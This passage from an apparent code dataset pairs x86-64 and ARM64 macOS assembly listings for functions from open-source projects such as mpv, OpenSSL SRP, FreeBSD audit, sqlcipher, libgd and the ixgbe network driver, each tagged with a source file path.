movq (%rdi), %rbx
movq $0, (%rbx)
xorps %xmm0, %xmm0
movups %xmm0, 32(%rbx)
movq 24(%rbx), %rdi
callq _talloc_free
movq $0, 24(%rbx)
movq _VO_MAX_REQ_FRAMES@GOTPCREL(%rip), %rax
movl (%rax), %eax
movl 16(%rbx), %ecx
addl %ecx, %eax
incl %eax
movl %eax, 16(%rbx)
movq 8(%rbx), %rax
testq %rax, %rax
je LBB0_2
## %bb.1:
movq $0, 8(%rax)
movl $0, (%rax)
LBB0_2:
addq $8, %rsp
popq %rbx
popq %rbp
retq
.cfi_endproc
## -- End function
.comm _VO_MAX_REQ_FRAMES,8,3 ## @VO_MAX_REQ_FRAMES
.no_dead_strip _forget_frames
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 2 ; -- Begin function forget_frames
_forget_frames: ; @forget_frames
.cfi_startproc
; %bb.0:
stp x20, x19, [sp, #-32]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
ldr x19, [x0]
str xzr, [x19]
stp xzr, xzr, [x19, #32]
ldr x0, [x19, #24]
bl _talloc_free
str xzr, [x19, #24]
Lloh0:
adrp x8, _VO_MAX_REQ_FRAMES@GOTPAGE
Lloh1:
ldr x8, [x8, _VO_MAX_REQ_FRAMES@GOTPAGEOFF]
Lloh2:
ldr w8, [x8]
ldr w9, [x19, #16]
add w8, w8, w9
add w8, w8, #1
str w8, [x19, #16]
ldr x8, [x19, #8]
cbz x8, LBB0_2
; %bb.1:
str xzr, [x8, #8]
str wzr, [x8]
LBB0_2:
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
ldp x20, x19, [sp], #32 ; 16-byte Folded Reload
ret
.loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2
.cfi_endproc
; -- End function
.comm _VO_MAX_REQ_FRAMES,8,3 ; @VO_MAX_REQ_FRAMES
.no_dead_strip _forget_frames
.subsections_via_symbols
| AnghaBench/mpv/video/out/extr_vo.c_forget_frames.c | anghabench |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _SRP_Calc_B ## -- Begin function SRP_Calc_B
.p2align 4, 0x90
_SRP_Calc_B: ## @SRP_Calc_B
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %r15
pushq %r14
pushq %r13
pushq %r12
pushq %rbx
subq $24, %rsp
.cfi_offset %rbx, -56
.cfi_offset %r12, -48
.cfi_offset %r13, -40
.cfi_offset %r14, -32
.cfi_offset %r15, -24
xorl %ebx, %ebx
testq %rdi, %rdi
je LBB0_19
## %bb.1:
movq %rsi, %r13
testq %rsi, %rsi
je LBB0_19
## %bb.2:
movq %rdx, %r12
testq %rdx, %rdx
je LBB0_19
## %bb.3:
movq %rcx, %r15
testq %rcx, %rcx
je LBB0_19
## %bb.4:
movq %rdi, %r14
xorl %ebx, %ebx
xorl %eax, %eax
callq _BN_CTX_new
movq %rax, -64(%rbp) ## 8-byte Spill
testq %rax, %rax
je LBB0_19
## %bb.5:
xorl %eax, %eax
callq _BN_new
movq %rax, -48(%rbp) ## 8-byte Spill
testq %rax, %rax
je LBB0_6
## %bb.7:
xorl %ebx, %ebx
xorl %eax, %eax
callq _BN_new
movq %rax, %rcx
movq %rax, -56(%rbp) ## 8-byte Spill
testq %rax, %rax
je LBB0_8
## %bb.10:
xorl %eax, %eax
callq _BN_new
testq %rax, %rax
je LBB0_11
## %bb.12:
movq %rax, %rbx
movq -56(%rbp), %rdi ## 8-byte Reload
movq %r12, %rsi
movq %r14, %rdx
movq %r13, %rcx
movq -64(%rbp), %r14 ## 8-byte Reload
movq %r14, %r8
callq _BN_mod_exp
testl %eax, %eax
je LBB0_13
## %bb.14:
movq %r13, %rdi
movq %r12, %rsi
callq _srp_Calc_k
testq %rax, %rax
je LBB0_13
## %bb.15:
movq -48(%rbp), %r12 ## 8-byte Reload
movq %r12, %rdi
movq %r15, %rsi
movq %rax, %rdx
movq %r13, %rcx
movq %r14, %r8
movq %rax, %r15
callq _BN_mod_mul
testl %eax, %eax
je LBB0_17
## %bb.16:
movq %rbx, %rdi
movq -56(%rbp), %rsi ## 8-byte Reload
movq %r12, %rdx
movq %r13, %rcx
movq %r14, %r8
callq _BN_mod_add
testl %eax, %eax
jne LBB0_18
jmp LBB0_17
LBB0_6:
xorl %eax, %eax
movq %rax, -56(%rbp) ## 8-byte Spill
xorl %ebx, %ebx
jmp LBB0_9
LBB0_8:
xorl %eax, %eax
movq %rax, -56(%rbp) ## 8-byte Spill
LBB0_9:
xorl %r15d, %r15d
movq -64(%rbp), %r14 ## 8-byte Reload
movq -48(%rbp), %r12 ## 8-byte Reload
jmp LBB0_18
LBB0_11:
xorl %ebx, %ebx
movq -64(%rbp), %r14 ## 8-byte Reload
movq -48(%rbp), %r12 ## 8-byte Reload
xorl %r15d, %r15d
jmp LBB0_18
LBB0_13:
xorl %r15d, %r15d
movq -48(%rbp), %r12 ## 8-byte Reload
LBB0_17:
movq %rbx, %rdi
callq _BN_free
xorl %ebx, %ebx
LBB0_18:
movq %r14, %rdi
callq _BN_CTX_free
movq %r12, %rdi
callq _BN_clear_free
movq -56(%rbp), %rdi ## 8-byte Reload
callq _BN_clear_free
movq %r15, %rdi
callq _BN_free
LBB0_19:
movq %rbx, %rax
addq $24, %rsp
popq %rbx
popq %r12
popq %r13
popq %r14
popq %r15
popq %rbp
retq
.cfi_endproc
## -- End function
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _SRP_Calc_B ; -- Begin function SRP_Calc_B
.p2align 2
_SRP_Calc_B: ; @SRP_Calc_B
.cfi_startproc
; %bb.0:
stp x26, x25, [sp, #-80]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 80
stp x24, x23, [sp, #16] ; 16-byte Folded Spill
stp x22, x21, [sp, #32] ; 16-byte Folded Spill
stp x20, x19, [sp, #48] ; 16-byte Folded Spill
stp x29, x30, [sp, #64] ; 16-byte Folded Spill
add x29, sp, #64
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
.cfi_offset w21, -40
.cfi_offset w22, -48
.cfi_offset w23, -56
.cfi_offset w24, -64
.cfi_offset w25, -72
.cfi_offset w26, -80
mov x20, #0
cbz x0, LBB0_19
; %bb.1:
mov x23, x1
cbz x1, LBB0_19
; %bb.2:
mov x24, x2
cbz x2, LBB0_19
; %bb.3:
mov x25, x3
cbz x3, LBB0_19
; %bb.4:
mov x26, x0
bl _BN_CTX_new
cbz x0, LBB0_12
; %bb.5:
mov x19, x0
bl _BN_new
mov x21, x0
cbz x0, LBB0_13
; %bb.6:
bl _BN_new
mov x22, x0
cbz x0, LBB0_14
; %bb.7:
bl _BN_new
mov x20, x0
cbz x0, LBB0_15
; %bb.8:
mov x0, x22
mov x1, x24
mov x2, x26
mov x3, x23
mov x4, x19
bl _BN_mod_exp
cbz w0, LBB0_16
; %bb.9:
mov x0, x23
mov x1, x24
bl _srp_Calc_k
mov x24, x0
cbz x0, LBB0_17
; %bb.10:
mov x0, x21
mov x1, x25
mov x2, x24
mov x3, x23
mov x4, x19
bl _BN_mod_mul
cbz w0, LBB0_17
; %bb.11:
mov x0, x20
mov x1, x22
mov x2, x21
mov x3, x23
mov x4, x19
bl _BN_mod_add
cbnz w0, LBB0_18
b LBB0_17
LBB0_12:
mov x20, #0
b LBB0_19
LBB0_13:
mov x22, #0
LBB0_14:
mov x20, #0
LBB0_15:
mov x24, #0
b LBB0_18
LBB0_16:
mov x24, #0
LBB0_17:
mov x0, x20
bl _BN_free
mov x20, #0
LBB0_18:
mov x0, x19
bl _BN_CTX_free
mov x0, x21
bl _BN_clear_free
mov x0, x22
bl _BN_clear_free
mov x0, x24
bl _BN_free
LBB0_19:
mov x0, x20
ldp x29, x30, [sp, #64] ; 16-byte Folded Reload
ldp x20, x19, [sp, #48] ; 16-byte Folded Reload
ldp x22, x21, [sp, #32] ; 16-byte Folded Reload
ldp x24, x23, [sp, #16] ; 16-byte Folded Reload
ldp x26, x25, [sp], #80 ; 16-byte Folded Reload
ret
.cfi_endproc
; -- End function
.subsections_via_symbols
| AnghaBench/openssl/crypto/srp/extr_srp_lib.c_SRP_Calc_B.c | anghabench |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _au_to_in_addr ## -- Begin function au_to_in_addr
.p2align 4, 0x90
_au_to_in_addr: ## @au_to_in_addr
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %rbx
pushq %rax
.cfi_offset %rbx, -24
movq %rdi, %rbx
xorl %esi, %esi
movl $8, %edx
callq _GET_TOKEN_AREA
movq _AUT_IN_ADDR@GOTPCREL(%rip), %rax
movl (%rax), %esi
xorl %edi, %edi
callq _ADD_U_CHAR
xorl %edi, %edi
movq %rbx, %rsi
movl $4, %edx
addq $8, %rsp
popq %rbx
popq %rbp
jmp _ADD_MEM ## TAILCALL
.cfi_endproc
## -- End function
.comm _AUT_IN_ADDR,4,2 ## @AUT_IN_ADDR
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _au_to_in_addr ; -- Begin function au_to_in_addr
.p2align 2
_au_to_in_addr: ; @au_to_in_addr
.cfi_startproc
; %bb.0:
stp x20, x19, [sp, #-32]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
mov x19, x0
mov x1, #0
mov w2, #8
bl _GET_TOKEN_AREA
Lloh0:
adrp x8, _AUT_IN_ADDR@GOTPAGE
Lloh1:
ldr x8, [x8, _AUT_IN_ADDR@GOTPAGEOFF]
Lloh2:
ldr w1, [x8]
mov x0, #0
bl _ADD_U_CHAR
mov x0, #0
mov x1, x19
mov w2, #4
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
ldp x20, x19, [sp], #32 ; 16-byte Folded Reload
b _ADD_MEM
.loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2
.cfi_endproc
; -- End function
.comm _AUT_IN_ADDR,4,2 ; @AUT_IN_ADDR
.subsections_via_symbols
| AnghaBench/freebsd/sys/security/audit/extr_bsm_token.c_au_to_in_addr.c | anghabench |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _sqlite3TriggerList ## -- Begin function sqlite3TriggerList
.p2align 4, 0x90
_sqlite3TriggerList: ## @sqlite3TriggerList
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %r15
pushq %r14
pushq %r12
pushq %rbx
.cfi_offset %rbx, -48
.cfi_offset %r12, -40
.cfi_offset %r14, -32
.cfi_offset %r15, -24
cmpq $0, 8(%rdi)
je LBB0_2
## %bb.1:
xorl %r14d, %r14d
jmp LBB0_13
LBB0_2:
movq %rsi, %r15
movq (%rdi), %rdi
movq (%rdi), %rax
movq 8(%rax), %rbx
cmpq 16(%rsi), %rbx
je LBB0_12
## %bb.3:
xorl %esi, %esi
movq %rbx, %rdx
callq _sqlite3SchemaMutexHeld
movl %eax, %edi
callq _assert
movq %rbx, %rdi
callq _sqliteHashFirst
testq %rax, %rax
je LBB0_12
## %bb.4:
movq %rax, %rbx
xorl %r14d, %r14d
jmp LBB0_5
LBB0_9: ## in Loop: Header=BB0_5 Depth=1
movq %r14, (%r12)
movq %r12, %r14
.p2align 4, 0x90
LBB0_10: ## in Loop: Header=BB0_5 Depth=1
movq %rbx, %rdi
callq _sqliteHashNext
movq %rax, %rbx
testq %rax, %rax
je LBB0_11
LBB0_5: ## =>This Inner Loop Header: Depth=1
movq %rbx, %rdi
callq _sqliteHashData
movq %rax, %r12
movq 16(%rax), %rax
cmpq 16(%r15), %rax
jne LBB0_10
## %bb.6: ## in Loop: Header=BB0_5 Depth=1
movl 8(%r12), %edi
movl 8(%r15), %esi
callq _sqlite3StrICmp
testq %rax, %rax
jne LBB0_10
## %bb.7: ## in Loop: Header=BB0_5 Depth=1
testq %r14, %r14
jne LBB0_9
## %bb.8: ## in Loop: Header=BB0_5 Depth=1
movq (%r15), %r14
jmp LBB0_9
LBB0_11:
testq %r14, %r14
jne LBB0_13
LBB0_12:
movq (%r15), %r14
LBB0_13:
movq %r14, %rax
popq %rbx
popq %r12
popq %r14
popq %r15
popq %rbp
retq
.cfi_endproc
## -- End function
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _sqlite3TriggerList ; -- Begin function sqlite3TriggerList
.p2align 2
_sqlite3TriggerList: ; @sqlite3TriggerList
.cfi_startproc
; %bb.0:
stp x22, x21, [sp, #-48]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 48
stp x20, x19, [sp, #16] ; 16-byte Folded Spill
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
.cfi_offset w21, -40
.cfi_offset w22, -48
ldr x8, [x0, #8]
cbz x8, LBB0_2
; %bb.1:
mov x20, #0
b LBB0_13
LBB0_2:
mov x19, x1
ldr x0, [x0]
ldr x8, [x0]
ldr x20, [x8, #8]
ldr x8, [x1, #16]
cmp x20, x8
b.eq LBB0_12
; %bb.3:
mov w1, #0
mov x2, x20
bl _sqlite3SchemaMutexHeld
bl _assert
mov x0, x20
bl _sqliteHashFirst
cbz x0, LBB0_12
; %bb.4:
mov x21, x0
mov x20, #0
b LBB0_7
LBB0_5: ; in Loop: Header=BB0_7 Depth=1
str x20, [x22]
mov x20, x22
LBB0_6: ; in Loop: Header=BB0_7 Depth=1
mov x0, x21
bl _sqliteHashNext
mov x21, x0
cbz x0, LBB0_11
LBB0_7: ; =>This Inner Loop Header: Depth=1
mov x0, x21
bl _sqliteHashData
ldr x8, [x0, #16]
ldr x9, [x19, #16]
cmp x8, x9
b.ne LBB0_6
; %bb.8: ; in Loop: Header=BB0_7 Depth=1
mov x22, x0
ldr w0, [x0, #8]
ldr w1, [x19, #8]
bl _sqlite3StrICmp
cbnz x0, LBB0_6
; %bb.9: ; in Loop: Header=BB0_7 Depth=1
cbnz x20, LBB0_5
; %bb.10: ; in Loop: Header=BB0_7 Depth=1
ldr x20, [x19]
b LBB0_5
LBB0_11:
cbnz x20, LBB0_13
LBB0_12:
ldr x20, [x19]
LBB0_13:
mov x0, x20
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
ldp x20, x19, [sp, #16] ; 16-byte Folded Reload
ldp x22, x21, [sp], #48 ; 16-byte Folded Reload
ret
.cfi_endproc
; -- End function
.subsections_via_symbols
| AnghaBench/sqlcipher/src/extr_trigger.c_sqlite3TriggerList.c | anghabench |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 15, 0 sdk_version 15, 5
.p2align 4, 0x90 ## -- Begin function parse_pobox
_parse_pobox: ## @parse_pobox
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %r15
pushq %r14
pushq %r13
pushq %r12
pushq %rbx
pushq %rax
.cfi_offset %rbx, -56
.cfi_offset %r12, -48
.cfi_offset %r13, -40
.cfi_offset %r14, -32
.cfi_offset %r15, -24
movq %rdx, %r14
movq %rsi, %rbx
testq %rdi, %rdi
je LBB0_6
## %bb.1:
leaq L_.str(%rip), %rdi
callq _getenv
movq %rax, (%r14)
testq %rax, %rax
jne LBB0_5
## %bb.2:
xorl %eax, %eax
callq _getuid
movl %eax, %edi
callq _getpwuid
movq %rax, %r15
testq %rax, %rax
jne LBB0_4
## %bb.3:
leaq L_.str.1(%rip), %rsi
movl $1, %edi
callq _errx
LBB0_4:
movl (%r15), %edi
callq _estrdup
movq %rax, (%r14)
LBB0_5:
movq %r14, %rdi
callq _get_pobox
movq %rax, (%rbx)
jmp LBB0_17
LBB0_6:
leaq L_.str.2(%rip), %rsi
xorl %edi, %edi
movl $3, %edx
callq _strncmp
movq %rax, %r13
xorl %eax, %eax
testq %r13, %r13
sete %al
leaq (%rax,%rax,2), %r12
movq %r12, %rdi
movl $64, %esi
callq _strchr
movq %r12, %r15
testq %rax, %rax
je LBB0_8
## %bb.7:
movq %rax, %r15
incq %r15
movb $0, (%rax)
LBB0_8:
movq %r12, %rdi
movl $58, %esi
callq _strchr
testq %rax, %rax
je LBB0_10
## %bb.9:
movq %rax, %r12
incq %r12
movb $0, (%rax)
LBB0_10:
movq %r12, -48(%rbp)
cmpq %r12, %r15
je LBB0_11
LBB0_16:
movq %r15, (%rbx)
movq %r12, (%r14)
LBB0_17:
addq $8, %rsp
popq %rbx
popq %r12
popq %r13
popq %r14
popq %r15
popq %rbp
retq
LBB0_11:
testq %r13, %r13
je LBB0_12
## %bb.13:
xorl %eax, %eax
callq _get_default_username
testq %rax, %rax
je LBB0_15
## %bb.14:
movq %rax, %r12
jmp LBB0_16
LBB0_12:
leaq -48(%rbp), %rdi
callq _get_pobox
movq %rax, %r15
movq -48(%rbp), %r12
jmp LBB0_16
LBB0_15:
leaq L_.str.1(%rip), %rsi
movl $1, %edi
callq _errx
xorl %r12d, %r12d
jmp LBB0_16
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "USERNAME"
L_.str.1: ## @.str.1
.asciz "Who are you?"
L_.str.2: ## @.str.2
.asciz "po:"
.no_dead_strip _parse_pobox
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 15, 0 sdk_version 15, 5
.p2align 2 ; -- Begin function parse_pobox
_parse_pobox: ; @parse_pobox
.cfi_startproc
; %bb.0:
sub sp, sp, #80
stp x24, x23, [sp, #16] ; 16-byte Folded Spill
stp x22, x21, [sp, #32] ; 16-byte Folded Spill
stp x20, x19, [sp, #48] ; 16-byte Folded Spill
stp x29, x30, [sp, #64] ; 16-byte Folded Spill
add x29, sp, #64
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
.cfi_offset w21, -40
.cfi_offset w22, -48
.cfi_offset w23, -56
.cfi_offset w24, -64
mov x20, x2
mov x19, x1
cbz x0, LBB0_6
; %bb.1:
Lloh0:
adrp x0, l_.str@PAGE
Lloh1:
add x0, x0, l_.str@PAGEOFF
bl _getenv
str x0, [x20]
cbnz x0, LBB0_5
; %bb.2:
bl _getuid
bl _getpwuid
mov x21, x0
cbnz x0, LBB0_4
; %bb.3:
Lloh2:
adrp x1, l_.str.1@PAGE
Lloh3:
add x1, x1, l_.str.1@PAGEOFF
mov w0, #1 ; =0x1
bl _errx
LBB0_4:
ldr w0, [x21]
bl _estrdup
str x0, [x20]
LBB0_5:
mov x0, x20
bl _get_pobox
str x0, [x19]
b LBB0_12
LBB0_6:
Lloh4:
adrp x1, l_.str.2@PAGE
Lloh5:
add x1, x1, l_.str.2@PAGEOFF
mov w21, #3 ; =0x3
mov w2, #3 ; =0x3
bl _strncmp
mov x23, x0
cmp x0, #0
csel x22, x21, xzr, eq
mov x0, x22
mov w1, #64 ; =0x40
bl _strchr
mov x21, x22
cbz x0, LBB0_8
; %bb.7:
strb wzr, [x0], #1
mov x21, x0
LBB0_8:
mov x0, x22
mov w1, #58 ; =0x3a
bl _strchr
cbz x0, LBB0_10
; %bb.9:
strb wzr, [x0], #1
mov x22, x0
LBB0_10:
str x22, [sp, #8]
cmp x21, x22
b.eq LBB0_13
LBB0_11:
str x21, [x19]
str x22, [x20]
LBB0_12:
ldp x29, x30, [sp, #64] ; 16-byte Folded Reload
ldp x20, x19, [sp, #48] ; 16-byte Folded Reload
ldp x22, x21, [sp, #32] ; 16-byte Folded Reload
ldp x24, x23, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #80
ret
LBB0_13:
cbz x23, LBB0_16
; %bb.14:
bl _get_default_username
mov x22, x0
cbnz x0, LBB0_11
; %bb.15:
Lloh6:
adrp x1, l_.str.1@PAGE
Lloh7:
add x1, x1, l_.str.1@PAGEOFF
mov w0, #1 ; =0x1
bl _errx
b LBB0_11
LBB0_16:
add x0, sp, #8
bl _get_pobox
mov x21, x0
ldr x22, [sp, #8]
b LBB0_11
.loh AdrpAdd Lloh0, Lloh1
.loh AdrpAdd Lloh2, Lloh3
.loh AdrpAdd Lloh4, Lloh5
.loh AdrpAdd Lloh6, Lloh7
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "USERNAME"
l_.str.1: ; @.str.1
.asciz "Who are you?"
l_.str.2: ; @.str.2
.asciz "po:"
.no_dead_strip _parse_pobox
.subsections_via_symbols
| assembly_file_120410.c | assembly_dataset |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 4, 0x90 ## -- Begin function allocDynamic
_allocDynamic: ## @allocDynamic
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %r14
pushq %rbx
.cfi_offset %rbx, -32
.cfi_offset %r14, -24
movl %esi, %r14d
movq %rdi, %rbx
testq %rdx, %rdx
je LBB0_1
## %bb.2:
movl %r14d, (%rbx)
jmp LBB0_3
LBB0_1:
movl $0, (%rbx)
movq _FALSE@GOTPCREL(%rip), %rax
movl (%rax), %eax
movl %eax, 4(%rbx)
movl %r14d, %edi
callq _gdMalloc
movq %rax, %rdx
LBB0_3:
movq _TRUE@GOTPCREL(%rip), %rax
movl (%rax), %eax
movq %rdx, 24(%rbx)
movl %r14d, 8(%rbx)
movl %eax, 4(%rbx)
movq $0, 16(%rbx)
popq %rbx
popq %r14
popq %rbp
retq
.cfi_endproc
## -- End function
.comm _FALSE,4,2 ## @FALSE
.comm _TRUE,4,2 ## @TRUE
.no_dead_strip _allocDynamic
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 2 ; -- Begin function allocDynamic
_allocDynamic: ; @allocDynamic
.cfi_startproc
; %bb.0:
stp x20, x19, [sp, #-32]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
mov x20, x1
mov x19, x0
cbz x2, LBB0_2
; %bb.1:
str w20, [x19]
b LBB0_3
LBB0_2:
str wzr, [x19]
Lloh0:
adrp x8, _FALSE@GOTPAGE
Lloh1:
ldr x8, [x8, _FALSE@GOTPAGEOFF]
Lloh2:
ldr w8, [x8]
str w8, [x19, #4]
mov x0, x20
bl _gdMalloc
mov x2, x0
LBB0_3:
Lloh3:
adrp x8, _TRUE@GOTPAGE
Lloh4:
ldr x8, [x8, _TRUE@GOTPAGEOFF]
Lloh5:
ldr w0, [x8]
stp w0, w20, [x19, #4]
stp xzr, x2, [x19, #16]
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
ldp x20, x19, [sp], #32 ; 16-byte Folded Reload
ret
.loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2
.loh AdrpLdrGotLdr Lloh3, Lloh4, Lloh5
.cfi_endproc
; -- End function
.comm _FALSE,4,2 ; @FALSE
.comm _TRUE,4,2 ; @TRUE
.no_dead_strip _allocDynamic
.subsections_via_symbols
| AnghaBench/php-src/ext/gd/libgd/extr_gd_io_dp.c_allocDynamic.c | anghabench |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 15, 0 sdk_version 15, 5
.p2align 4, 0x90 ## -- Begin function ixgbe_dcbnl_ieee_setets
_ixgbe_dcbnl_ieee_setets: ## @ixgbe_dcbnl_ieee_setets
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %r15
pushq %r14
pushq %r13
pushq %r12
pushq %rbx
subq $24, %rsp
.cfi_offset %rbx, -56
.cfi_offset %r12, -48
.cfi_offset %r13, -40
.cfi_offset %r14, -32
.cfi_offset %r15, -24
movq %rsi, %r12
movq %rdi, %rbx
callq _netdev_priv
movq %rax, %r14
movq _DCB_CAP_DCBX_VER_IEEE@GOTPCREL(%rip), %rax
movl (%rax), %eax
orl (%r14), %eax
je LBB0_1
## %bb.3:
movq _ETH_HLEN@GOTPCREL(%rip), %rax
movl (%rax), %r15d
addl (%rbx), %r15d
movq _ETH_FCS_LEN@GOTPCREL(%rip), %rax
addl (%rax), %r15d
movq 32(%r14), %rdi
testq %rdi, %rdi
jne LBB0_9
## %bb.4:
movq _GFP_KERNEL@GOTPCREL(%rip), %rax
movl (%rax), %esi
movl $8, %edi
callq _kmalloc
movq %rax, 32(%r14)
testq %rax, %rax
je LBB0_27
## %bb.5:
movq _IEEE_8021QAZ_MAX_TCS@GOTPCREL(%rip), %rcx
movl (%rcx), %edx
movq (%rax), %rsi
testl %edx, %edx
jle LBB0_8
## %bb.6:
xorl %eax, %eax
.p2align 4, 0x90
LBB0_7: ## =>This Inner Loop Header: Depth=1
movl %edx, (%rsi,%rax,4)
incq %rax
movslq (%rcx), %rdx
cmpq %rdx, %rax
jl LBB0_7
LBB0_8:
leaq 16(%r14), %rdi
callq _ixgbe_dcb_read_rtrup2tc
movq 32(%r14), %rdi
LBB0_9:
movq _IEEE_8021QAZ_MAX_TCS@GOTPCREL(%rip), %rax
movslq (%rax), %rcx
testq %rcx, %rcx
movq %rbx, -48(%rbp) ## 8-byte Spill
jle LBB0_10
## %bb.12:
movq %r12, -56(%rbp) ## 8-byte Spill
movq (%r12), %rdx
movq (%rdi), %rax
cmpl $1, %ecx
jne LBB0_14
## %bb.13:
xorl %r8d, %r8d
xorl %esi, %esi
xorl %r13d, %r13d
jmp LBB0_16
LBB0_10:
movq %r12, %rsi
movl $8, %edx
callq _memcpy
movb $1, %bl
jmp LBB0_11
LBB0_14:
movl %ecx, %r9d
andl $2147483646, %r9d ## imm = 0x7FFFFFFE
xorl %r8d, %r8d
movl $1, %r10d
xorl %esi, %esi
xorl %r13d, %r13d
.p2align 4, 0x90
LBB0_15: ## =>This Inner Loop Header: Depth=1
movq (%rdx,%r8,8), %r11
movq 8(%rdx,%r8,8), %rbx
cmpq %r13, %r11
cmovgq %r11, %r13
movslq (%rax,%r8,4), %r12
xorq %r11, %r12
cmpq %r13, %rbx
cmovgq %rbx, %r13
movslq 4(%rax,%r8,4), %r11
xorq %rbx, %r11
orq %r12, %r11
cmovneq %r10, %rsi
addq $2, %r8
cmpq %r8, %r9
jne LBB0_15
LBB0_16:
testb $1, %cl
je LBB0_18
## %bb.17:
movq (%rdx,%r8,8), %rcx
cmpq %r13, %rcx
cmovgq %rcx, %r13
movslq (%rax,%r8,4), %rax
cmpq %rax, %rcx
movl $1, %eax
cmovneq %rax, %rsi
LBB0_18:
testq %rsi, %rsi
sete %bl
movq -56(%rbp), %r12 ## 8-byte Reload
movq %r12, %rsi
movl $8, %edx
callq _memcpy
testq %r13, %r13
je LBB0_11
## %bb.19:
incq %r13
cmpq 24(%r14), %r13
jg LBB0_1
LBB0_21:
cmpq 8(%r14), %r13
jne LBB0_22
## %bb.24:
testb %bl, %bl
jne LBB0_26
## %bb.25:
movq -48(%rbp), %rdi ## 8-byte Reload
callq _ixgbe_dcbnl_devreset
jmp LBB0_26
LBB0_11:
xorl %r13d, %r13d
cmpq 24(%r14), %r13
jle LBB0_21
LBB0_1:
movq _EINVAL@GOTPCREL(%rip), %rcx
LBB0_2:
xorl %eax, %eax
subl (%rcx), %eax
LBB0_23:
addq $24, %rsp
popq %rbx
popq %r12
popq %r13
popq %r14
popq %r15
popq %rbp
retq
LBB0_22:
movq -48(%rbp), %rdi ## 8-byte Reload
movq %r13, %rsi
callq _ixgbe_setup_tc
testl %eax, %eax
jne LBB0_23
LBB0_26:
addq $16, %r14
movq %r14, %rdi
movq %r12, %rsi
movl %r15d, %edx
addq $24, %rsp
popq %rbx
popq %r12
popq %r13
popq %r14
popq %r15
popq %rbp
jmp _ixgbe_dcb_hw_ets ## TAILCALL
LBB0_27:
movq _ENOMEM@GOTPCREL(%rip), %rcx
jmp LBB0_2
.cfi_endproc
## -- End function
.comm _ETH_HLEN,4,2 ## @ETH_HLEN
.comm _ETH_FCS_LEN,4,2 ## @ETH_FCS_LEN
.comm _DCB_CAP_DCBX_VER_IEEE,4,2 ## @DCB_CAP_DCBX_VER_IEEE
.comm _EINVAL,4,2 ## @EINVAL
.comm _GFP_KERNEL,4,2 ## @GFP_KERNEL
.comm _ENOMEM,4,2 ## @ENOMEM
.comm _IEEE_8021QAZ_MAX_TCS,4,2 ## @IEEE_8021QAZ_MAX_TCS
